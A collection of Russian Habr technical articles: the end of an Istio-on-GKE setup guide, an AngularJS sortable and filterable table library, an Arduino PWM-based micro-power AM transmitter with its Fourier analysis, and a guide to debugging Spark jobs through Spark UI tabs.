Istio](https://cloud.google.com/istio/docs/how-to/installing-oss#using_your_own_cluster) на кластере. С Istio on GKE можно легко управлять установкой и апгрейдом Istio в рамках жизненного цикла кластера GKE. Если вам нужна самая новая версия Istio или больше контроля над конфигурацией панели управления Istio, установите опенсорс-версию вместо расширения Istio on GKE. Чтобы определиться с подходом, читайте статью [Нужен ли мне Istio on GKE?](https://cloud.google.com/istio/docs/istio-on-gke/overview#should_i_use_istio_on_gke). Выберите вариант, изучите соответствующее руководство и следуйте инструкциям, чтобы установить Istio на кластере. Если вы хотите использовать Istio с только что развернутым приложением, [включите внедрение sidecar’ов](https://cloud.google.com/istio/docs/istio-on-gke/installing#enabling_sidecar_injection) для пространства имен **default**. ### Очистка Чтобы с аккаунта Google Cloud Platform не списывалась плата за ресурсы, которые вы использовали в этом руководстве, удалите кластер контейнера, когда установите Istio и наиграетесь с примером приложения. При этом будут удалены все ресурсы кластера, например вычислительные экземпляры, диски и сетевые ресурсы. ### Что дальше? * Изучите следующие технологии: 1. [Docker](https://docs.docker.com/get-started/) 2. [Контейнеры](https://cloud.google.com/containers/) 3. [Container Registry](https://cloud.google.com/container-registry/docs/) 4. [Kubernetes](https://kubernetes.io/) 5. [GKE](https://cloud.google.com/kubernetes-engine/docs/) 6. [Service mesh](https://cloud.google.com/blog/products/networking/welcome-to-the-service-mesh-era-introducing-a-new-istio-blog-post-series) 7. [Istio](https://istio.io/) * Изучите следующие инструменты: 1. [Cloud SDK](https://cloud.google.com/sdk/docs/how-to) 2. [Справочник по **gcloud**](https://cloud.google.com/sdk/gcloud/reference/) 3. [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl/) 4. [**docker**](https://docs.docker.com/engine/reference/commandline/cli/) * Изучите понятия Kubernetes: 1. [Кластеры](https://cloud.google.com/kubernetes-engine/docs/concepts/cluster-architecture) 2. [Узлы](https://cloud.google.com/kubernetes-engine/docs/concepts/cluster-architecture#nodes) 3. [Pod’ы](https://cloud.google.com/kubernetes-engine/docs/concepts/pod) 4. [Сервисы](https://cloud.google.com/kubernetes-engine/docs/concepts/service) 5. [Развертывание](https://cloud.google.com/kubernetes-engine/docs/concepts/deployment)
https://habr.com/ru/post/469515/
null
ru
null
# AngularJS: еще одна таблица с сортировкой, фильтрацией и постраничной навигацией #### Что это? Это очередное AngularJS приложение, которое добавляет в обычную таблицу возможности сортировки, фильтрации, разбиения на страницы и пр. Разумеется, существует несколько готовых решений ([1](http://lorenzofox3.github.io/smart-table-website/), [2](http://angulartable.com/), [3](https://github.com/ssmm/angular-table), [4](http://angular-ui.github.io/ng-grid/#/examples), [5](http://esvit.github.io/ng-table)), но они не подходили по ряду причин. В итоге, было решено создать свой вариант, тем более, что я не имею большого работы с AngularJS, а изучать этот фреймворк и его потрясающие возможности лучше на практике. Предупреждаю сразу: исходный код не совсем «причёсан», местами не комментирован, и не так элегантен, как хотелось бы; возможно, я не использовал какие то best practices. Но т.к. я планирую постоянно использовать это решение и развивать его, то со временем всё будет. Также надеюсь на ваши советы, предложения и пожелания. Тем не менее, это вполне работоспособное приложение, и оно уже используется в наших проектах. В статье не буду расписывать подробно все-все-все возможности и настройки — это уже сделано в исходном коде примеров, остановлюсь на самых, как мне кажется, важных. [Исходники на github](https://github.com/solo-framework/solo-angular-table), [документация и примеры](http://solo-framework.github.io/solo-angular-table/). #### Для чего? * Мы хотим разрабатывать прототип приложения быстро, нет времени на разработку серверной версии таблицы (списка) с сортировкой, фильтрами и постраничной навигацией. Поэтому, все данные таблицы находятся на клиенте, нет необходимости обращаться к серверу. * Верстальщик не обязан знать AngularJS * Вёрстка таблицы должна максимально соответствовать обычному HTML, а не быть нагромождением директив. Поменьше магии, пожалуйста. * Не ограничивать использование других Angular директив в разметке. * «Живой» поиск по списку, когда записи фильтруются по мере набора искомого текста. * Возможность фильтровать не по всем колонкам, а по выборочным. * Возможность написать свой фильтр. * Нужна возможность постраничной навигации. * Сортировка колонок. * Свобода в изменении HTML-кода таблицы, и вообще кода, связанного с таблицей. * Изучение AngularJS #### Структура таблицы ``` [{ "id": 1, "name": "Alvah Gleason", "address": "58707 Ophelia FieldEast Lorena, LA 89754-9301", "year": "1981" }, ......] Page <[pager.currentPage]> of <[pager.foundPages]>. Total items: <[pager.found]> | Id | Year | Name | Address | | --- | --- | --- | --- | | <[item.id]> | <[item.year]> | <[item.name]> | <[item.address]> | First page | ←prev | next → | Last page // Здесь приведен код, упрощающий создание нового AngularJS приложения // Создаем приложение с именем example, вставляем его в элемент testApp, // добавляем в него таблицу и собственные фильтры AppFactory("testApp", "example", ["solo.table"]); ``` Как вы заметили, в коде используется синтаксис связывания <[ ]> вместо {{ }}. Мы используем Smarty в своих проектах и чтобы избежать конфликтов, пришлось внести некоторые изменения в конфигурацию приложения. Впрочем, вы вольны изменить или вообще не использовать AppFactory и применять родной синтаксис Angular. **Код AppFactory** ``` /** * Создание нового Angular приложения с заданными настройками. * Позволяет разместить на одной странице несколько приложений. * * @param elementId ID DOM-элемента, к которому прикрепляется приложение * @param appName Имя приложения (главного модуля) * @param modules Список модулей, подключаемых к приложению * @constructor */ var AppFactory = function(elementId, appName, modules) { 'use strict'; if (!modules) modules = []; var el = document.getElementById(elementId); angular.module(appName, modules).config([ /** * Т.к. используется Smarty, то символы {{ и }} нужно заменить, * например, на <[ и ]> */ "$interpolateProvider", function($interpolateProvider){ $interpolateProvider.startSymbol('<['); $interpolateProvider.endSymbol(']>'); } ]); modules.push(appName); angular.bootstrap(el, modules); }; ``` #### Сортировка колонок Сортировка появляется в таблице, если добавить атрибут make-sotrable: ``` ``` Есть 2 режима: ASC+DESC — сортировка по убыванию или возрастанию значения (по умолчанию) ``` | Id | Name | Address | | --- | --- | --- | ``` DEFAULT+ASC+DESC — сортировка по-умолчанию, убыванию или возрастанию значения. «По-умолчанию» — это означает, что данные будут показаны в том порядке, в котором они были предоставлены приложению. Кликая на заголовок колонки, вы можете отсортировать данные в 3-х этих направлениях. Для этого нужно присвоить значение «3» атрибуту make-sortable: ``` ``` А если хочется, чтобы одна колонка была сразу отсортирована в каком то направлении, то используем default-sort, обратите внимание что эту директиву можно применить только к одной колонке таблицы (во всяком случае, пока): ``` Name | ``` Для отображения указателей сортировки в заголовках не забудьте вставить CSS, ну или свою реализацию **CSS код** ``` .solo-table-sort-asc > .solo-column-arrow { position: relative; top: 10px; margin-left: 5px; border-color: black transparent; border-style: solid; border-width: 5px 5px 0px 5px; height: 0px; width: 0px; } .solo-table-sort-desc > .solo-column-arrow { position: relative; top: -10px; margin-left: 5px; border-color: black transparent; border-style: solid; border-width: 0px 5px 5px 5px; height: 0px; width: 0px; } .solo-table-column-cursor { cursor: pointer; } ``` #### Используем собственный фильтр Для этого нужно создать свой модуль с реализацией фильтра и подключить его к приложению. В этом примере используется фильтр по году: показываются только те записи, которые имеют поле year старше заданного (см. пример #5). ``` // Создаем модуль с фильтрами angular.module("myFilters", []) // Показывать только те записи, которые имеют поле year старше заданного .filter("older", function(){ return function(items, search){ if (!search) return items; search = parseInt(search); var test = function(el, idx, array){ return el.year > search; }; return items.filter(test); }; }); // подключить модуль с фильтрами AppFactory("testApp", "example", ["solo.table", "myFilters"]); ``` А также добавить этот фильтр в ng-repeat, где filterModel — имя модели, привязанной к input: ``` | | | ``` А вот так мы можем фильтровать только по полям name и address (См. пример #6): ``` | | | ``` #### В планах * Больше примеров * Сохранение параметров таблица в URL * Возможность применения не только к таблицам, а спискам из любых DOM-элементов (UL>LI, div и пр.) * ... #### Что-то еще? Да. Это всё работает с версией AngularJS 1.1.5 и выше. И с русским текстом тоже работает. Более подробные комментарии и описание синтаксиса смотрите в исходных кодах примеров. Вопросы, предложения и конструктивная критика и помощь более чем приветствуются.
https://habr.com/ru/post/197646/
null
ru
null
# Arduino — микромощный передатчик радиовещательного АМ-диапазона ![image](https://habrastorage.org/r/w1560/webt/zw/2p/em/zw2pemshvso5hurzb5_whbkxefm.png) У многих еще остались радиоприёмники с диапазонами СВ и ДВ, и радиолюбительский интерес к приёму в этих диапазонах также по-прежнему сохраняется. На средних волнах в условиях отсутствия помех (за городом, в парке, на балконе, с внешней антенной или, в крайнем случае, у окна квартиры) в вечернее время принимается много удаленных радиостанций, но днем в эфире слышны только шумы. В диапазоне ДВ радиостанций не осталось совсем. Исправить положение можно с помощью простого маломощного радиопередатчика, действующего в радиусе нескольких метров. В процессе сборки одной из таких конструкций у автора родилась идея попытаться сделать такой передатчик на базе Arduino. Основные требования к устройству: имеющаяся в наличии плата Arduino UNO или Arduino Leonardo, максимальная простота электрической схемы (не сложнее самых простых передатчиков на одном транзисторе) и удовлетворительное для АМ-диапазона качество звучания. В качестве несущей для наших целей можно использовать сигнал прямоугольной формы, получить который не составляет труда, а прием вести на одной из гармоник. С учетом малой мощности передатчика, сигналы «лишних» гармоник не будут распространятся далее пределов комнаты и не создадут помех окружающим. Сложности возникают с управлением амплитудой: сигнал на выходах может принимать только два значения, а использование даже простейшего ЦАП добавит в конструкцию десяток резисторов. **Замечание с забеганием вперед об analogWrite** Заметим, что использовать ШИМ и analogWrite в их классическом варианте не удастся из-за высокой частоты несущей, не менее 150 кГц для нижней границы диапазона ДВ. Хотя именно ШИМ, но использованная в ином качестве, поможет получить решение. С другой стороны, просто реализуется управление длительностью импульса. Выясним, как этот параметр повлияет на амплитуды входящих в состав сигнала гармоник. Обозначим ![$f(t)$](https://habrastorage.org/getpro/habr/formulas/367/cf5/e29/367cf5e29e469e0b1289d045dd22d5e5.svg) функцию прямоугольного сигнала с периодом ![$T$](https://habrastorage.org/getpro/habr/formulas/c6b/38e/9e5/c6b38e9e57593c513299660fe8151d5f.svg), длительностью импульса ![$L$](https://habrastorage.org/getpro/habr/formulas/ffe/7fb/ad9/ffe7fbad9e8131a5d99bf8feffe52f62.svg) и амплитудой A: ![image](https://habrastorage.org/r/w1560/webt/6u/ge/ck/6ugeckn0f8texo_kaqo1pdgbzvi.png) В разложении ![$f(t)$](https://habrastorage.org/getpro/habr/formulas/367/cf5/e29/367cf5e29e469e0b1289d045dd22d5e5.svg) в ряд Фурье ![$f(t)=\frac{a_0}{2} + \sum_{n=1}^{\infty}\left[a_n\cos\left(\frac{2\pi n t}{T}\right) + b_n\sin\left(\frac{2\pi n t}{T}\right)\right]$](https://habrastorage.org/getpro/habr/formulas/ca7/a04/780/ca7a04780a464393960f6cb050f09409.svg) коэффициенты ![$b_n$](https://habrastorage.org/getpro/habr/formulas/02c/2d8/c5b/02c2d8c5b9b5a6f6ea7e80321f4dbf76.svg) в силу чётности ![$f(t)$](https://habrastorage.org/getpro/habr/formulas/367/cf5/e29/367cf5e29e469e0b1289d045dd22d5e5.svg) равны нулю. Следовательно, амплитуда ![$n-$](https://habrastorage.org/getpro/habr/formulas/aa3/3e4/131/aa33e4131aaa038b64dad5e3856ed1e1.svg)й гармоники совпадает с коэффициентом ![$a_n=\frac{2}{T}\int_{-T}^{T}f(s)\cos\left(\frac{2\pi n s}{T}\right)ds = \frac{2}{T}\int_{-L/2}^{L/2}A\cos\left(\frac{2\pi n s}{T}\right)ds=$](https://habrastorage.org/getpro/habr/formulas/057/f48/66f/057f4866fca2797614be6511bbee68c0.svg) ![$=\left.\frac{A}{\pi n}\sin\left(\frac{2 \pi n s}{T}\right)\right|_{-L/2}^{L/2}=\frac{2A}{\pi n}\sin\left(\frac{\pi n L}{T}\right).$](https://habrastorage.org/getpro/habr/formulas/ac5/c9a/056/ac5c9a056606b0f0ca943a3628cd007d.svg) Но ![$\sin(x) = x + o(x^2)$](https://habrastorage.org/getpro/habr/formulas/6f0/535/19e/6f053519ee7f57acc3007eaceb5a2435.svg) при ![$x\to 0$](https://habrastorage.org/getpro/habr/formulas/3bb/aa0/676/3bbaa0676efa5652d77c2eff9ea217e1.svg) и ![$\sin(x)$](https://habrastorage.org/getpro/habr/formulas/535/c08/5bf/535c085bf1fdaee9aa684315aad5c536.svg) хорошо приближается ![$x$](https://habrastorage.org/getpro/habr/formulas/4cc/fd4/32e/4ccfd432ea4f2a64f3a5c8c7378517af.svg), если ![$x$](https://habrastorage.org/getpro/habr/formulas/4cc/fd4/32e/4ccfd432ea4f2a64f3a5c8c7378517af.svg) мало. Значит, при малых ![$L$](https://habrastorage.org/getpro/habr/formulas/ffe/7fb/ad9/ffe7fbad9e8131a5d99bf8feffe52f62.svg) зависимость амплитуды ![$n-$](https://habrastorage.org/getpro/habr/formulas/aa3/3e4/131/aa33e4131aaa038b64dad5e3856ed1e1.svg)й гармоники от ![$L$](https://habrastorage.org/getpro/habr/formulas/ffe/7fb/ad9/ffe7fbad9e8131a5d99bf8feffe52f62.svg) близка к линейной, и вместо амплитуды несущей можно изменять длительность импульса, заботясь о том, чтобы она не превышала некоторой достаточно малой величины! Несложно написать скетч для формирования такого сигнала, но в этом нет необходимости: готовый сигнал нужной нам формы можно получить на выходе с широтно-импульсной модуляцией. При частоте ШИМ 62,5 кГц частота третьей гармоники равна 187.5 кГц, и она попадает в радиовещательный диапазон длинных волн. Достаточно подать на соответствующий выход Arduino сигнал низкой частоты и подключить к нему антенну, остальное сделает ШИМ. Важно лишь, чтобы значение параметра value функции analogWrite не превышало границы, определяемой величиной допустимых искажений. Оценим эту границу. Пусть ![$L=\alpha T$](https://habrastorage.org/getpro/habr/formulas/d9b/d67/b8e/d9bd67b8ec2bee8996aac471ef205777.svg), где ![$\alpha \in [0, 1]$](https://habrastorage.org/getpro/habr/formulas/a63/055/bbc/a63055bbce28193d97b0e1a8784ad5b3.svg) — длительность импульса в долях периода. Тогда ![$a_n(\alpha)=\frac{2A}{\pi n}\sin(\alpha\pi n)$](https://habrastorage.org/getpro/habr/formulas/956/b21/d6c/956b21d6c73c39366ef0622054ff6427.svg) . Относительное отклонение ![$a_n(\alpha)$](https://habrastorage.org/getpro/habr/formulas/73f/02c/456/73f02c456aba1d49b9f1c0112a734fcb.svg) от линейной функции ![$2A\alpha$](https://habrastorage.org/getpro/habr/formulas/065/bab/09e/065bab09e546e02deffacb80625ea8b9.svg) ![$\frac{2A\alpha - \frac{2A}{\pi n}\sin(\alpha\pi n)}{2A\alpha}=\frac{\alpha\pi n - \sin(\alpha\pi n)}{\alpha\pi n}\to 0$](https://habrastorage.org/getpro/habr/formulas/f07/587/6e0/f075876e0b4ad5b9c8492a96712e84d0.svg) при ![$\alpha\to 0$](https://habrastorage.org/getpro/habr/formulas/c73/abe/3d3/c73abe3d34d8463a974a37d2da1ee610.svg). С увеличением ![$\alpha$](https://habrastorage.org/getpro/habr/formulas/234/756/ba0/234756ba02fcf44c798e4e66aedb3efd.svg) отклонение растёт. Для ![$\alpha=0.085$](https://habrastorage.org/getpro/habr/formulas/7e0/964/c13/7e0964c13144ecbc416bd970b4df5b5b.svg) и ![$n=3$](https://habrastorage.org/getpro/habr/formulas/45b/b59/103/45bb5910317b96d9da4a674d52075cbd.svg) оно составляет около 10%, что достаточно много. При выборе гармоники более высокого порядка отклонение становится еще больше. Так как при 8 битной ШИМ длительности импульса ![$\alpha=1$](https://habrastorage.org/getpro/habr/formulas/b30/254/f5b/b30254f5b645eccbc682e8a1a029279b.svg) соответствует value=255, то для для ![$\alpha\leq 0,085$](https://habrastorage.org/getpro/habr/formulas/6c3/623/e70/6c3623e70ebe679b782fa204005b9b6b.svg) необходимо, чтобы value не превышал ![$255\cdot 0,085\approx 22$](https://habrastorage.org/getpro/habr/formulas/089/f22/cab/089f22cab571349edceabf052d876e8c.svg). Полученная оценка позволяет получить представление о порядке допустимых величин и далее подобрать подходящие значения экспериментально. Итогом громоздкого блока теории являются простая схема: ![image](https://habrastorage.org/r/w1560/webt/al/gw/r4/algwr4snulwqqoydhxa2ttvt0ys.png) и очень простой скетч: ``` void setup() { // Параметры ШИМ TCCR1A = TCCR1A & 0xe0 | 1; TCCR1B = TCCR1B & 0xe0 | 0x09; } int const SHIFT = 8; int const SCALE = 8; void loop() { analogWrite(9, (analogRead(A0) - 512) / SCALE + SHIFT); } ``` В качестве антенны использован отрезок монтажного провода длиной 1 метр. SHIFT задает значение на выходе ШИМ при отсутствии входного сигнала. В процессе модуляции оно меняется в пределах от 1 до 15, длительность импульса при этом составляет от 1/255 до 15/255 периода. Константа SCALE подобрана экспериментально так, чтобы сигнал с выхода телефона укладывался в допустимые границы значений на выходе ШИМ. При подаче на вход устройства синусоиды 1 кГц от ГСС, на выходе приемника, настроенного на частоту 187,5 кГц, получается громкий сигнал неискаженной формы: ![image](https://habrastorage.org/r/w1560/webt/8c/xp/_v/8cxp_v4sg-a6wwwjicsdbtub18w.png) Дальность приема на карманный супергетеродин составляет около полутора метров. Второй раз в диапазоне ДВ сигнал принимается на частоте 250 кГц. Потеря качества на слух при переходе на четвертую гармонику незаметна. С увеличением номера гармоники искажения растут, но при выбранных параметрах и на девятой гармонике 562,5 кГц, попадающей в нижнюю часть диапазона средних волн, качество остается приемлемым. Увеличивая (в разумных пределах) значение SHIFT, можно попытаться добиться повышения качества звучания за счет поиска компромисса между увеличением количества уровней дискретизации и ростом искажений. SCALE в этом случае нужно уменьшить, чтобы сохранить коэффициент модуляции. Однако, теряется возможность приёма на более высоких гармониках. Например, эксперимент с SHIFT = 16 и SCALE = 4 показал неплохой результат на частоте 187,5 кГц, но в диапазоне СВ искажения оказались очень большими. В итоге получилось простое устройство, не содержащее самодельных катушек индуктивности. К его достоинствам можно отнести стабильность частоты несущей и отсутствие паразитной частотной модуляции, что обычно является проблемой для простейших конструкций. В заключение статьи видео с демонстрацией работы микропередатчика.
https://habr.com/ru/post/415333/
null
ru
null
# Как дебажить запросы, используя только Spark UI > *Егор Матешук (CDO AdTech-компании Квант и преподаватель в OTUS) приглашает Data Engineer'ов принять участие в бесплатном Demo-уроке* [*«Spark 3.0: что нового?»*](https://otus.pw/c3nU/)*. Узнаете, за счет чего Spark 3.0 добивается высокой производительности, а также рассмотрите другие нововведения.* > > *Также приглашаем посмотреть запись трансляции Demo-урока* [*«Написание эффективных пользовательских функций в Spark»*](https://otus.pw/c4Dh/) *и пройти вступительное тестирование по курсу «Экосистема Hadoop, Spark, Hive»!* > > ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b37/980/9a6/b379809a69dc918ac75bb88d52e78791.png)У вас уже есть все, что вам нужно для дебаггинга запросов --------------------------------------------------------- Spark - самый широко используемый фреймворк для big data вычислений, способный выполнять задачи на петабайтах данных. Spark предоставляет набор веб-UI, которые можно использовать для отслеживания потребления ресурсов и состояния кластера Spark. Большинство проблем, с которыми мы сталкиваемся при выполнении задачи (job), можно отладить, перейдя в UI Spark. ``` spark2-shell --queue=P0 --num-executors 20 Spark context Web UI available at http://: Spark context available as 'sc' Spark session available as 'spark' ``` В этой статье я попытаюсь продемонстрировать, как дебажить задачу Spark, используя только Spark UI. Я запущу несколько задач Spark и покажу, как Spark UI отражает выполнение задачи. Также я поделюсь с вами несколькими советами и хитростями. Вот как выглядит Spark UI. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/58d/254/ee0/58d254ee0d6be932550bab38c9e12eba.png)Мы начнем с вкладки SQL, которая включает в себя достаточно много информации для первоначального обзора. При использовании RDD в некоторых случаях вкладки SQL может и не быть. А вот запрос, который запускаю в качестве примера ``` spark.sql("select id, count(1) from table1 group by id”).show(10, false) ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/914/bb8/22d/914bb822d5e8c25ed4705030f23f8027.png) > Перевод разъяснений в правой части: > > <-- В рамках запроса было запущено 3 задачи, а сам запрос был выполнен за 21с. > > <-- Файлы Parquet отсканированы, они содержат в сумме 23.7М строк > > <-- Это работа выполненная каждой партицией > > 1. генерирует хеш id, count > > 2. группирует id и суммирует count. Вот как это выглядит > > 1. `id = hash(125), count=1000` > > 2. `id = hash(124), count=900 …` > > <-- Происходит обмен данных, приведенных выше, на основе хеша id колонки, чтобы в результате каждая партиция имела один хеш  > > <-- Данные каждой партиции суммируются и возвращается count > > Теперь давайте сопоставим это с физическим планом запроса. Физический план можно найти под SQL DAG, когда вы раскрываете вкладку **details**. **Мы должны читать план снизу вверх** ``` == Physical Plan == CollectLimit 11 +- *(2) HashAggregate(keys=[id#1], functions=[count(1)], output=[id#1, count(1)#79]) +- Exchange hashpartitioning(id#1, 200) +- *(1) HashAggregate(keys=[id#1], functions=[partial_count(1)], output=[id#1, count#83L]) +- *(1) FileScan parquet [id#1] Batched: true, Format: Parquet, Location: InMemoryFileIndex[hdfs://:, PartitionFilters: [], PushedFilters: [], ReadSchema: struct ``` Вот как следует читать план: 1. Сканирование файла parquet. Обратите внимание на PushedFilters. Я продемонстрирую, что это означает позже 2. Создание HashAggregate с ключами. Обратите внимание на partial\_count. Это означает, что агрегированный count является частичным, поскольку агрегирование было выполнено в каждой отдельной задаче и не было смешанно для получения полного набора значений. 3. Теперь сгенерированные данные агрегируются на основе ключа, в данном случае id. 4. Теперь вычисляется вообще весь count. 5. Полученный результат Теперь, когда с этим мы разобрались, давайте посмотрим на данные PuedFilters. Spark оптимизирован для предикатов, и любые применяемые фильтры пушатся к источнику. Чтобы продемонстрировать это, давайте рассмотрим другую версию этого запроса ``` spark.sql("select id, count(1) from table1 where status = 'false' group by id”).show(10, false) ``` А это его план ``` +- *(2) HashAggregate(keys=[id#1], functions=[count(1)], output=[id#1, count(1)#224]) +- Exchange hashpartitioning(id#1, 200) +- *(1) HashAggregate(keys=[id#1], functions=[partial_count(1)], output=[id#1, count#228L]) +- *(1) Project [id#1] +- *(1) Filter (isnotnull(status#3) && (status#3 = false)) +- *(1) FileScan parquet [id#1,status#3] Batched: true, Format: Parquet, Location: InMemoryFileIndex[hdfs://mr25p01if-ingx03010101.mr.if.apple.com:50001/home/hadoop/work/news/20200..., PartitionFilters: [], PushedFilters: [IsNotNull(status), EqualTo(status,false)], ReadSchema: struct ``` Обратите внимание на изменения по сравнению с предыдущим планом. Мы видим в PushedFilters уже кое-что другое — проверка на null и проверка на равенство. Столбец, к которому мы применяем фильтр пушится к источнику, т.е. при чтении данных эти строки игнорируются. Результат этого переносится на следующие этапы. **Можем ли мы, применяя фильтры, уменьшить общее количество прочитанных данных (или файлов)?** Да мы можем. В обоих приведенных выше примерах общее количество прочитанных данных составляет ~ 23,8M. Чтобы уменьшить его, мы можем использовать магию файлов parquet. В Parquet есть **группа строк**, в которой есть статистика, которую можно использовать для игнорирования нескольких групп/файлов строк. Это приводит к тому, что эти файлы вообще не читаются. Вы можете прочитать о том, как это сделать, в другой моей статье на medium [Insights Into Parquet Storage](https://medium.com/swlh/insights-into-parquet-storage-ac7e46b94ffe). Вкладка Executor ---------------- Эта вкладка дает нам представление о количестве активных в настоящее время исполнителей в вашей сессии spark. ``` spark2-shell — queue=P0 — driver-memory 20g — executor-memory 20g — num-executors 40 ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a21/004/2fa/a210042fa26eff220eda987ad23c3cab.png)Я запросил 40 исполнителей для сессии, однако при запуске вы можете увидеть, что он предоставил мне всего 10 активных исполнителей. Это может быть связано с тем, что не работают хосты или Spark не нуждается в таком большом количестве исполнителей. Это также может вызвать задержку в планировании задач, поскольку у вас всего 10 исполнителей, а вам нужно 40, что скажется на параллелизме. Вкладка Environment ------------------- Вкладка Environment содержит подробную информацию обо всех параметрах конфигурации, которые в данный момент использует сессия spark. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/cf2/e6d/ff3/cf2e6dff3fc204029ebe0442f1ba4143.png)Посмотрите, как здесь отражены параметры, отраженные мной ранее. Это полезно хотя бы просто для того, чтобы убедиться, что предоставленная вами конфигурация принята. Вкладка Storage --------------- Здесь отображается информация об одной из наиболее обсуждаемых функций Spark - кэшировании. В Интернете доступно множество статей с разными мнениями относительно того, стоит ли кэшировать или нет. К счастью, эта статья не о том, когда стоит кэшировать и т. д. Он больше о том, что происходит, когда мы кэшируем. Но перед этим давайте вернемся немного назад и потратим несколько минут на некоторые основы кэширования. Есть два способа кэширования Dataframe: **→ df.persist** Для кэширования набора данных требуется несколько свойств. **→ df.cache** Под капотом это вызывает метод «persist». Обратимся к исходному коду ``` def cache(): this.type = persist() /** * Persist this Dataset with the given storage level. * @param newLevel One of: `MEMORY_ONLY`, `MEMORY_AND_DISK`, `MEMORY_ONLY_SER`,`MEMORY_AND_DISK_SER`, `DISK_ONLY`, `MEMORY_ONLY_2`,`MEMORY_AND_DISK_2`, etc. * @group basic * @since 1.6.0 */ ``` * DISK\_ONLY: хранить (persist) данные на диске только в сериализованном формате. * MEMORY\_ONLY: [хранить данные в памяти только в десериализованном формате. * MEMORY\_AND\_DISK: хранить данные в памяти, а если памяти недостаточно, вытесненные блоки будут сохранены на диске. * MEMORY\_ONLY\_SER: этот уровень Spark хранит RDD как сериализованный объект Java (однобайтовый массив на партицию). Это более компактно по сравнению с десериализованными объектами. Но это увеличивает накладные расходы на CPU. * MEMORY\_AND\_DISK\_SER: аналогично MEMORY\_ONLY\_SER, но с записью на диск, когда данные не помещаются в памяти. * * * * * * Давайте воспользуемся df.cache в нашем примере и посмотрим, что произойдет a.cache() -> На вкладке Storage ничего не видно. Как вы можете догадаться, это из-за ленивого вычисления Давайте воспользуемся df.cache в нашем примере и посмотрим, что произойдет **a.cache()** —> На вкладке Storage ничего не видно. Как вы можете догадаться, это из-за ленивого вычисления `a.groupBy(“id”).count().show(10,false)` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/ff7/525/b98/ff7525b987a3ca9eae70723be324826c.png)Мы видим какой-то кэш данных. Размер в памяти составляет 5,2 ГБ, а размер моего файла - 2 ГБ… хммм… что здесь произошло  ``` hadoop dfs -dus 2,134,751,429 6,404,254,287 ``` Это потому, что данные в памяти десериализованы и несжаты. Это результирует в большем объеме памяти по сравнению с диском. Так что, когда вы хотите принимаете решение о том, кэшировать или нет, помните об этом. Я видел несколько толковых статей о том, следует ли кэшировать или нет. Ознакомиться с ними - хорошая идея * [To Cache or Not to Cache, that's the Million Dollar Question](https://unraveldata.com/to-cache-or-not-to-cache/) * [Spark and the Fine Art of Caching](https://www.dbta.com/Editorial/Trends-and-Applications/Spark-and-the-Fine-Art-of-Caching-119305.aspx) * Далее мы рассмотрим вкладки Jobs и Stages, причины множества проблем можно отдебажить с помощью этих вкладок. ``` spark.sql("select is_new_user,count(1) from table1 group by is_new_user").show(10,false) ``` ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/0ad/c61/a9f/0adc61a9ff23e229f3841e5598063409.png)Я вижу, что для указанного выше запроса запускаются 3 задачи. Но 2 из них пропущены. Обычно это означает, что данные были извлечены из кэша и не было необходимости повторно выполнять данный этап. Кроме того, Spark выполняет множество фиктивных задач для оценки данных. Пропуск задач мог быть связан и с этим. Давайте же глубоко погрузимся в задачу, которая не была пропущена. Это визуализация DAG для задачи ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5b2/52f/5f9/5b252f5f99f2884686effa629498de3a.png)Мы ясно видим, что эта задача состоит из двух этапов, разделенных операцией перемешивания/обмена. **Stages означают, что данные были записаны на диск для использования в следующем процессе.** Давайте углубимся во вкладку stages. Первое, что всегда нужно проверять, - это сводные метрики для задач. Вы можете нажать «show additional metrics» для получения дополнительных фактов. Это покажет множество необходимых параметров по минимуму, медиане и максимуму. В идеальном мире минимальное значение должно быть близко к максимальному. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e01/45c/b06/e0145cb0645f2d4001a8783e9b2a9408.png)Вот несколько моментов, которые следует отметить: → Продолжительность (duration): В нашем примере минимальная и максимальная продолжительность составляет 0,4 и 4 секунды соответственно. Это может быть связано с несколькими причинами, и мы постараемся отдебажить их в пунктах ниже. → Время десериализации задачи (Task deserialization time): ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d77/196/924/d77196924777d54583e7e62b4c43aac0.png)![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b80/284/202/b80284202be6873ced18d845792a7658.png)В нашем примере в рамках десериализации задачи некоторое время тратится и на другие задачи. Одной из основных причин было выполнение процессов сборки мусора в исполнителях. У меня выполнялись другие процессы, в которых были кэшированы некоторые данные, что приводило к сборке мусора. Процессам сборки мусора предоставляется наивысший приоритет, и они останавливают все  запущенные процессы в угоду обслуживания процесса сборки мусора. Если вы видите, что ваш процесс не потребляет много памяти, первым шагом для решения такой проблемы может быть разговор с администратором/OPS. → Задержка планировщика (Scheduler delay): максимальная задержка планировщика составляет 0,4 секунды. Это означает, что одна из задач должна была ждать отправки еще 0,4 секунды. Большое это значение или маленькое, зависит от вашего конкретного юзкейса. → Размер ввода очень сильно распределен. Это очень хорошо, поскольку все задачи читают одинаковый объем данных. Это одна из самых важных вещей при поиске неверного/искаженного запроса. Это можно увидеть в столбце «“shuffle read”» в разделе «Summary metrics for tasks». Самая простая логика для решения таких проблем - это добавление соли к группе, которая может распараллеливать данные, а затем, наконец, агрегирование данных без соли. Этот принцип может применяться во многих формах для решения проблемы асимметрии данных. Еще одна вещь, на которую стоит обратить внимание, - это **уровень локальности**. \* PROCESS*LOCAL → Эта задача будет запущена в том же процессе, что и исходные данные* *\* NODE*LOCAL → Эта задача будет запущена на том же компьютере, что и исходные данные \* RACK*LOCAL → Эта задача будет запущена в том же блоке, что и исходные данные* *\* NO*PREF (Отображается как ANY) → Эта задача не может быть запущена в том же процессе, что и исходные данные, или это не имеет значения. Предположим, мы потребляем данные из узла Cassandra в кластере Spark, состоящем из трех узлов. Cassandra работает на машине X узлов Spark X, Y и Z. Для узла X все данные будут помечены как NODELOCAL*.* Это означает, что после того, как каждое ядро ​​на X будет занято, мы останемся с задачами, предпочтительное расположение которых - X, но у нас есть пространство для выполнения только на Y и Z. У Spark есть только два варианта: дождаться, пока ядра станут доступны на X, или понизить уровень локальности задачи и попытаться найти место для них и принять любые штрафы за 